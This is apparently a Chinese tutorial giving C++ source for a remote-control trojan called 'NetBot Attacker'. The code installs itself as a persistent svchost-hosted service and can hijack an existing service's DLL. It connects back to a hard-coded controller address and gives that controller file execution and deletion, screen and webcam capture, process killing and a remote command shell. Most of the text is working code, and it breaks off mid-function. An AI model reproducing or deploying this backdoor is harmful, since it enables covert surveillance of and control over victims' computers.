Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。
安装Windows服务代码如下
[cpp] view plain copy print ?
- #include "stdafx.h"
-
- #include "InstallService.h"
- #include <winsvc.h>
-
- BOOL StartService(LPCTSTR lpService)
- {
- SC_HANDLE schSCManager;
- SC_HANDLE schService;
- SERVICE_STATUS ServiceStatus;
- DWORD dwErrorCode;
-
- schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
- if (schSCManager!=NULL)
- {
- schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);
- if (schService!=NULL)
- {
-
- ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
- NULL, NULL, NULL, NULL, NULL, NULL, NULL);
-
- if(StartService(schService,0,NULL)==0)
- {
- dwErrorCode=GetLastError();
- if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
- {
- CloseServiceHandle(schSCManager);
- CloseServiceHandle(schService);
- return true;
- }
- }
- while(QueryServiceStatus(schService,&ServiceStatus)!=0)
- {
- if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
- {
- Sleep(100);
- }
- else
- {
- break;
- }
- }
- CloseServiceHandle(schService);
- }
- CloseServiceHandle(schSCManager);
- }
- else
- return FALSE;
-
- return TRUE;
- }
-
- BOOL StopService(LPCTSTR lpService)
- {
- SC_HANDLE schSCManager;
- SC_HANDLE schService;
- SERVICE_STATUS RemoveServiceStatus;
-
- schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
- if (schSCManager!=NULL)
- {
- schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);
- if (schService!=NULL)
- {
-
- ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
- NULL, NULL, NULL, NULL, NULL, NULL, NULL);
-
- if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
- {
- if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)
- {
- if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
- {
- while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
- {
- Sleep(10);
- QueryServiceStatus(schService,&RemoveServiceStatus);
- }
- }
- }
- }
- CloseServiceHandle(schService);
- }
- ::CloseServiceHandle(schSCManager);
- }
- else
- return FALSE;
-
- return TRUE;
- }
-
- BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
- {
- int rc = 0;
- HKEY hKey = 0;
- BOOL bRet = FALSE;
- char szOpenKey[MAX_PATH];
-
- try
- {
-
- StopService(lpService);
-
-
- ZeroMemory(szOpenKey,sizeof(szOpenKey));
- wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
- rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
- if(ERROR_SUCCESS != rc) throw "";
-
- rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
- SetLastError(rc);
- if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
-
-
- bRet = StartService(lpService);
- }
- catch(char *str)
- {
- if(str && str[0])
- {
- rc = GetLastError();
- }
- }
-
- RegCloseKey(hKey);
-
- return bRet;
- }
-
- BOOL InstallSvchostService(LPCSTR strServiceName,
- LPCSTR strDisplayName,
- LPCSTR strDescription,
- LPCSTR strDllPath)
- {
- int rc = 0;
- HKEY hKey = 0;
- BOOL bRet = FALSE;
- char szOpenKey[MAX_PATH];
- try
- {
- bRet = InstallService(strServiceName,
- strDisplayName,
- strDescription,
- "%SystemRoot%\\System32\\svchost.exe -k krnlsrvc");
-
-
- ZeroMemory(szOpenKey,sizeof(szOpenKey));
- wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
-
- rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey);
- if(ERROR_SUCCESS != rc) throw "";
-
- rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
- SetLastError(rc);
- if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
- RegCloseKey(hKey);
-
- ZeroMemory(szOpenKey,sizeof(szOpenKey));
- strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
- rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
- if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
- rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
- SetLastError(rc);
- if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
- RegCloseKey(hKey);
-
- bRet = StartService(strServiceName);
- }
- catch(char *str)
- {
- if(str && str[0])
- {
- rc = GetLastError();
- }
- }
-
- RegCloseKey(hKey);
-
- return bRet;
- }
-
- BOOL InstallService(LPCSTR strServiceName,
- LPCSTR strDisplayName,
- LPCSTR strDescription,
- LPCSTR strPathName)
- {
- BOOL bRet = FALSE;
- HKEY key=NULL;
- SC_HANDLE svc=NULL, scm=NULL;
- __try
- {
- scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
- if (!scm)
- __leave;
- svc = CreateService(
- scm,
- strServiceName,
- strDisplayName,
- SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
- SERVICE_WIN32_OWN_PROCESS,
- SERVICE_AUTO_START,
- SERVICE_ERROR_IGNORE,
- strPathName,
- NULL, NULL, NULL, NULL, NULL);
-
- if (svc == NULL)
- {
- if (GetLastError() == ERROR_SERVICE_EXISTS)
- {
- svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
- if (svc==NULL)
- __leave;
- else
- StartService(svc,0, 0);
- }
- }
-
- char Desc[MAX_PATH];
- wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
- RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
- RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));
-
- if (!StartService(svc,0, 0))
- __leave;
-
- bRet = TRUE;
- }
- __finally
- {
- if (key!=NULL)
- RegCloseKey(key);
- if (svc!=NULL)
- CloseServiceHandle(svc);
- if (scm!=NULL)
- CloseServiceHandle(scm);
- }
-
- return bRet;
- }
-
- void UninstallService(LPCTSTR strServiceName)
- {
- SC_HANDLE scm,svc;
-
- scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
- if (scm!=NULL)
- {
- svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
- if (svc!=NULL)
- {
- ::DeleteService(svc);
- ::CloseServiceHandle(svc);
- }
- ::CloseServiceHandle(scm);
- }
- }
#include "stdafx.h"
//#include <windows.h>
#include "InstallService.h"
#include <winsvc.h>
BOOL StartService(LPCTSTR lpService)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
SERVICE_STATUS ServiceStatus;
DWORD dwErrorCode;
schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
if (schSCManager!=NULL)
{
schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
if (schService!=NULL)
{
//设置服务为自动启动
ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return true;
}
}
while(QueryServiceStatus(schService,&ServiceStatus)!=0)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
else
return FALSE;
return TRUE;
}
BOOL StopService(LPCTSTR lpService)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
SERVICE_STATUS RemoveServiceStatus;
schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
if (schSCManager!=NULL)
{
schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
if (schService!=NULL)
{
//设置服务为禁用
ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务
{
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
}
}
}
CloseServiceHandle(schService);
}
::CloseServiceHandle(schSCManager);
}
else
return FALSE;
return TRUE;
}
BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
{
int rc = 0;
HKEY hKey = 0;
BOOL bRet = FALSE;
char szOpenKey[MAX_PATH];
try
{
//暂停服务
StopService(lpService);
//修改dll指向
ZeroMemory(szOpenKey,sizeof(szOpenKey));
wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
if(ERROR_SUCCESS != rc) throw "";
rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
//运行服务
bRet = StartService(lpService);
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hKey);
return bRet;
}
BOOL InstallSvchostService(LPCSTR strServiceName,
LPCSTR strDisplayName,
LPCSTR strDescription,
LPCSTR strDllPath)
{
int rc = 0;
HKEY hKey = 0;
BOOL bRet = FALSE;
char szOpenKey[MAX_PATH];
try
{
bRet = InstallService(strServiceName,
strDisplayName,
strDescription,
"%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务
//修改dll指向
ZeroMemory(szOpenKey,sizeof(szOpenKey));
wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
//rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey);
if(ERROR_SUCCESS != rc) throw "";
rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
RegCloseKey(hKey);
//添加服务名到netsvcs组
ZeroMemory(szOpenKey,sizeof(szOpenKey));
strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
RegCloseKey(hKey);
bRet = StartService(strServiceName);
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hKey);
return bRet;
}
BOOL InstallService(LPCSTR strServiceName,
LPCSTR strDisplayName,
LPCSTR strDescription,
LPCSTR strPathName)
{
BOOL bRet = FALSE;
HKEY key=NULL;
SC_HANDLE svc=NULL, scm=NULL;
__try
{
scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
if (!scm)
__leave;
svc = CreateService(
scm,
strServiceName,
strDisplayName,
SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
strPathName,
NULL, NULL, NULL, NULL, NULL);
if (svc == NULL)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
if (svc==NULL)
__leave;
else
StartService(svc,0, 0);
}
}
char Desc[MAX_PATH];
wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));
if (!StartService(svc,0, 0))
__leave;
bRet = TRUE;
}
__finally
{
if (key!=NULL)
RegCloseKey(key);
if (svc!=NULL)
CloseServiceHandle(svc);
if (scm!=NULL)
CloseServiceHandle(scm);
}
return bRet;
}
void UninstallService(LPCTSTR strServiceName)
{
SC_HANDLE scm,svc;
scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (scm!=NULL)
{
svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
if (svc!=NULL)
{
::DeleteService(svc);
::CloseServiceHandle(svc);
}
::CloseServiceHandle(scm);
}
}
如何实现远程控制的一些列功能呢,键盘,鼠标远程协助,文件上传下载,视频截获,桌面视频截获等等。
请见代码与注释
[cpp] view plain copy print ?
- #include "stdafx.h"
- #include "svchost.h"
- #include <shlwapi.h>
- #include "../Seu_lib/Functions.h"
- #include "InstallService.h"
- #include "../Seu_lib/zconf.h"
- #include "../Seu_lib/zlib.h"
- #pragma comment(lib,"../Seu_lib/zlib.lib") //图象无损数据压缩使用zlib库函数
- #pragma comment(lib,"shlwapi.lib")
- #pragma comment(linker,"/IGNORE:4078")
- #pragma comment(linker,"/OPT:NOWIN98")
-
-
-
- struct MODIFY_DATA
- {
- char strIPFile[128];
- char strVersion[16];
- DWORD dwVipID;
- BOOL bReplace;
- char strSvrName[32];
- char strSvrDisp[100];
- char strSvrDesc[100];
- char ServerAddr[100];
- int ServerPort;
- }modify_data =
- {
- "192.168.1.132:9000",
- "080625",
- 62,
- FALSE,
- "NetBot",
- "NetBot Attacker",
- "NetBot Attacker",
- " ",
- 8080,
- };
-
- HMODULE g_hDllModule;
-
- unsigned long resolve(char *host)
- {
- long i;
- struct hostent *he;
-
- if((i=inet_addr(host))<0)
- if((he=(struct hostent*)gethostbyname(host))==NULL)
- return(0);
- else
- return(*(unsigned long *)he->h_addr);
-
- return(i);
- }
-
- void GetIpAndPort()
- {
- char html[256];
- char *point;
- char port[12];
-
- memset(html,0,sizeof(html));
-
- if(strstr(modify_data.strIPFile,"http") == NULL)
- {
- strcpy(html,"[");
- strcat(html,modify_data.strIPFile);
- strcat(html,"]");
- }
- else
- {
-
- for(;;)
- {
- lstrcpy(html,strlwr(GetHttpFile(modify_data.strIPFile)));
- if(strstr(html,"[")!=NULL)
- break;
- else
- Sleep(10000);
- }
- }
-
-
- point=html;
- if(strstr(html,"[")!=NULL)
- {
- point=point+strlen("[");
- }
- if(strstr(point,":")!=NULL)
- {
- memset(modify_data.ServerAddr,0,sizeof(modify_data.ServerAddr));
- strncpy(modify_data.ServerAddr,point,strcspn(point,":"));
- point=point+strcspn(point,":")+1;
-
- if(strstr(point,"]")!=NULL)
- {
- memset(port,0,sizeof(port));
- strncpy(port,point,strcspn(point,"]"));
- modify_data.ServerPort = atoi(port);
- }
- }
- }
-
- DWORD _stdcall RuningThread(LPVOID lParam)
- {
- WSADATA lpWSAData;
- WSAStartup(MAKEWORD(2, 2), &lpWSAData);
-
- while(1)
- {
- GetIpAndPort();
-
- HANDLE hThread = NULL;
- hThread = CreateThread(NULL,NULL,ConnectThread,NULL,NULL,NULL);
- WaitForSingleObject(hThread, INFINITE);
- CloseHandle(hThread);
-
- Sleep(10000);
- }
-
- WSACleanup();
-
- return 0;
- }
-
- DWORD _stdcall ConnectThread(LPVOID lParam)
- {
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
-
- SOCKET MainSocket = socket(AF_INET, SOCK_STREAM, 0);
-
- if(connect(MainSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- return 0;
- else
- TurnonKeepAlive(MainSocket, 75);
-
- SysInfo m_SysInfo;
- GetSystemInfo(m_SysInfo);
- m_SysInfo.iVipID = modify_data.dwVipID;
- m_SysInfo.bVideo = CVideoCap::IsWebCam();
- lstrcpy(m_SysInfo.cVersion, modify_data.strVersion);
- EncryptData((unsigned char *)&m_SysInfo, sizeof(SysInfo), modify_data.dwVipID);
-
-
- MsgHead msgHead;
- char chBuffer[4096];
-
- msgHead.dwCmd = SOCKET_CONNECT;
- msgHead.dwSize = sizeof(SysInfo);
-
- memcpy(chBuffer,&m_SysInfo, sizeof(SysInfo));
-
- if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) )
- {
- closesocket(MainSocket);
- return 1;
- }
-
- while(1)
- {
-
- if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead))
- {
- shutdown(MainSocket,0x02);
- closesocket(MainSocket);
- break;
- }
-
-
- switch(msgHead.dwCmd)
- {
-
- case CMD_FILEMANAGE:
- {
- CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);
- }
- break;
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- default:
- break;
- }
- }
-
- return 10;
- }
-
-
-
- DWORD _stdcall FileManageThread(LPVOID lParam)
- {
-
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
- SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- {
- closesocket(FileSocket);
- return 0;
- }
-
-
- MsgHead msgHead;
- char *chBuffer = new char[1536 * 1024];
-
-
- msgHead.dwCmd = SOCKET_FILEMANAGE;
- msgHead.dwSize = 0;
- if(!SendMsg(FileSocket, chBuffer, &msgHead))
- {
- if(chBuffer != NULL)
- delete []chBuffer;
-
- closesocket(FileSocket);
- return 0;
- }
-
- while(1)
- {
-
- if(!RecvMsg(FileSocket, chBuffer, &msgHead))
- break;
-
-
- switch(msgHead.dwCmd)
- {
-
- case CMD_FILEDRIVER:
- {
- FileListDirver(chBuffer, &msgHead);
- }
- break;
- case CMD_FILEDIRECTORY:
- {
- FileListDirectory(chBuffer, &msgHead);
- }
- break;
- case CMD_FILEDELETE:
- {
- FileDelete(chBuffer, &msgHead);
- }
- break;
- case CMD_FILEEXEC:
- {
- FileExec(chBuffer, &msgHead);
- }
- break;
- case CMD_FILEPASTE:
- {
- FilePaste(chBuffer, &msgHead);
- }
- break;
- case CMD_FILERENAME:
- {
- FileReName(chBuffer, &msgHead);
- }
- break;
- case CMD_FILEDOWNSTART:
- {
- FileOpt m_FileOpt;
- memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
-
- if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
- msgHead.dwCmd = CMD_SUCCEED;
- else
- msgHead.dwCmd = CMD_FAILED;
- msgHead.dwSize = 0;
- }
- break;
-
-
-
-
-
-
-
-
-
-
-
-
- default:
- {
- msgHead.dwCmd = CMD_INVALID;
- msgHead.dwSize = 0;
- }
- break;
- }
-
-
- if(!SendMsg(FileSocket, chBuffer, &msgHead))
- break;
- }
-
- if(chBuffer != NULL)
- delete[] chBuffer;
-
- closesocket(FileSocket);
-
- return 0;
- }
-
- DWORD _stdcall ScreenThread(LPVOID lParam)
- {
- DWORD dwSock = (DWORD)lParam;
-
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
-
- SOCKET ScreenSocket = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(ScreenSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- {
- return 0;
- }
- else
- {
-
- int rcvbuf = 65536;
- int rcvbufsize=sizeof(int);
- setsockopt(ScreenSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);
- }
-
-
- SetThreadPriority( GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL );
-
- MsgHead msgHead;
- int nColor = 8;
-
- msgHead.dwCmd = SOCKET_SCREEN;
- msgHead.dwSize = 0;
- msgHead.dwExtend1 = dwSock;
- if(!SendMsg(ScreenSocket, NULL, &msgHead) ||
- !RecvMsg(ScreenSocket, NULL, &msgHead) )
- {
- closesocket(ScreenSocket);
- return 0;
- }
- else
- {
- nColor = msgHead.dwExtend1;
- }
-
-
- XScreenXor m_ScreenXor;
- m_ScreenXor.SetColor(nColor);
- m_ScreenXor.InitGlobalVar();
-
- msgHead.dwCmd = SOCKET_SCREEN;
- msgHead.dwSize = 0;
- msgHead.dwExtend1 = m_ScreenXor.GetBmpSize();
- msgHead.dwExtend2 = m_ScreenXor.GetInfoSize();
-
- if (!SendMsg(ScreenSocket, NULL, &msgHead))
- {
- closesocket(ScreenSocket);
- return 0;
- }
-
- DWORD dwFrameID = 0, dwLastSend;
- BOOL bNotStop = TRUE;
- DWORD lenthUncompress = m_ScreenXor.GetBmpSize();
- DWORD lenthCompress = (lenthUncompress+12)*1.1;
- BYTE* pDataCompress = new BYTE [lenthCompress];
-
- while( bNotStop )
- {
- dwLastSend = GetTickCount();
-
- lenthCompress = (lenthUncompress+12)*1.1;
- m_ScreenXor.CaputreFrame(dwFrameID);
- Sleep(10);
- ::compress(pDataCompress,
- &lenthCompress,
- m_ScreenXor.GetBmpData(),
- lenthUncompress);
-
- msgHead.dwCmd = dwFrameID++;
- msgHead.dwSize = lenthCompress;
- msgHead.dwExtend1 = m_ScreenXor.GetBmpSize();
- msgHead.dwExtend2 = lenthCompress;
-
- bNotStop = SendMsg(ScreenSocket, (char*)pDataCompress, &msgHead);
-
- if ((GetTickCount() - dwLastSend) < 110)
- Sleep(100);
- }
-
-
- closesocket(ScreenSocket);
- delete [] pDataCompress;
-
- return 0;
- }
-
-
-
- DWORD _stdcall VideoThread(LPVOID lParam)
- {
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
-
- SOCKET VideoSocket = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(VideoSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- {
- return 0;
- }
- else
- {
-
- int rcvbuf = 65536;
- int rcvbufsize=sizeof(int);
- setsockopt(VideoSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);
- }
-
-
- MsgHead msgHead;
-
- msgHead.dwCmd = SOCKET_VIDEOCAP;
- msgHead.dwSize = 0;
- if(!SendMsg(VideoSocket, NULL, &msgHead))
- {
- closesocket(VideoSocket);
- return 0;
- }
-
-
-
- if (!CVideoCap::IsWebCam())
- {
- msgHead.dwCmd = 1;
- msgHead.dwSize = 0;
- SendMsg(VideoSocket, NULL, &msgHead);
- shutdown(VideoSocket,0x02);
- closesocket(VideoSocket);
- return 1;
- }
-
- CVideoCap m_Cap;
- if (!m_Cap.Initialize())
- {
- msgHead.dwCmd = 2;
- msgHead.dwSize = 0;
- SendMsg(VideoSocket, NULL, &msgHead);
- shutdown(VideoSocket,0x02);
- closesocket(VideoSocket);
- return 2;
- }
-
- msgHead.dwCmd = 0;
- msgHead.dwSize = sizeof(BITMAPINFOHEADER);
- if(!SendMsg(VideoSocket, (char*)&(m_Cap.m_lpbmi->bmiHeader), &msgHead))
- {
- closesocket(VideoSocket);
- return 3;
- }
-
- DWORD dwFrameID = 0,dwLastSend;
- BOOL bNotStop = TRUE;
- DWORD lenthUncompress = m_Cap.m_lpbmi->bmiHeader.biSizeImage - 5;
- DWORD lenthCompress = (lenthUncompress+12)*1.1;
- BYTE* pDataCompress = new BYTE [lenthCompress];
-
- while (bNotStop)
- {
- dwLastSend = GetTickCount();
-
- lenthCompress = (lenthUncompress+12)*1.1;
- ::compress(pDataCompress,
- &lenthCompress,
- (BYTE*)m_Cap.GetDIB(),
- lenthUncompress);
-
- msgHead.dwCmd = dwFrameID++;
- msgHead.dwSize = lenthCompress;
- msgHead.dwExtend1 = lenthUncompress;
- msgHead.dwExtend2 = lenthCompress;
-
- bNotStop = SendMsg(VideoSocket, (char*)pDataCompress, &msgHead);
-
- if ((GetTickCount() - dwLastSend) < 100)
- Sleep(80);
- }
-
- if (pDataCompress != NULL)
- delete[] pDataCompress;
-
- return 10;
- }
-
-
-
- DWORD _stdcall ProcessThread(LPVOID lParam)
- {
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
- SOCKET ProcessSocket = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(ProcessSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- {
- closesocket(ProcessSocket);
- return 0;
- }
-
-
- MsgHead msgHead;
- char chBuffer[32 * 1024];
-
-
- msgHead.dwCmd = SOCKET_PROCESS;
- msgHead.dwSize = 0;
- if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
- {
- closesocket(ProcessSocket);
- return 0;
- }
-
- while(1)
- {
-
- if(!RecvMsg(ProcessSocket, chBuffer, &msgHead))
- break;
-
-
- switch(msgHead.dwCmd)
- {
- case CMD_PROCESSLIST:
- {
- ProcessList(chBuffer, &msgHead);
- }
- break;
- case CMD_PROCESSKILL:
- {
- ProcessKill(chBuffer, &msgHead);
- }
- break;
- default:
- {
- msgHead.dwCmd = CMD_INVALID;
- msgHead.dwSize = 0;
- }
- break;
- }
-
-
- if(!SendMsg(ProcessSocket, chBuffer, &msgHead))
- break;
- }
-
- closesocket(ProcessSocket);
- return 0;
- }
-
-
- DWORD _stdcall ShellThread(LPVOID lParam)
- {
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
- SOCKET ShellSocket = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(ShellSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- {
- closesocket(ShellSocket);
- return 0;
- }
-
-
- MsgHead msgHead;
- char *chBuffer = new char[512 * 1024];
-
-
- msgHead.dwCmd = SOCKET_CMDSHELL;
- msgHead.dwSize = 0;
- if(!SendMsg(ShellSocket, chBuffer, &msgHead))
- {
- closesocket(ShellSocket);
- return 0;
- }
-
- while(1)
- {
-
- if(!RecvMsg(ShellSocket, chBuffer, &msgHead))
- break;
-
-
- switch(msgHead.dwCmd)
- {
- case CMD_SHELLRUN:
- {
- DOSShell(chBuffer, &msgHead);
- }
- break;
- default:
- break;
- }
-
-
- if(!SendMsg(ShellSocket, chBuffer, &msgHead))
- break;
- }
-
- if(chBuffer != NULL)
- delete[] chBuffer;
-
- closesocket(ShellSocket);
- return 0;
- }
-
-
-
- DWORD _stdcall FileDownThread(LPVOID lParam)
- {
-
- FileOpt m_FileOpt;
- memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt));
-
- struct sockaddr_in LocalAddr;
- LocalAddr.sin_family=AF_INET;
- LocalAddr.sin_port=htons(modify_data.ServerPort);
- LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr);
-
- SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
- if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
- {
- closesocket(FileSocket);
- return 0;
- }
-
- MsgHead msgHead;
-
- msgHead.dwCmd = SOCKET_FILEDOWN;
- msgHead.dwSize = 0;
- if(!SendMsg(FileSocket, NULL, &msgHead))
- {
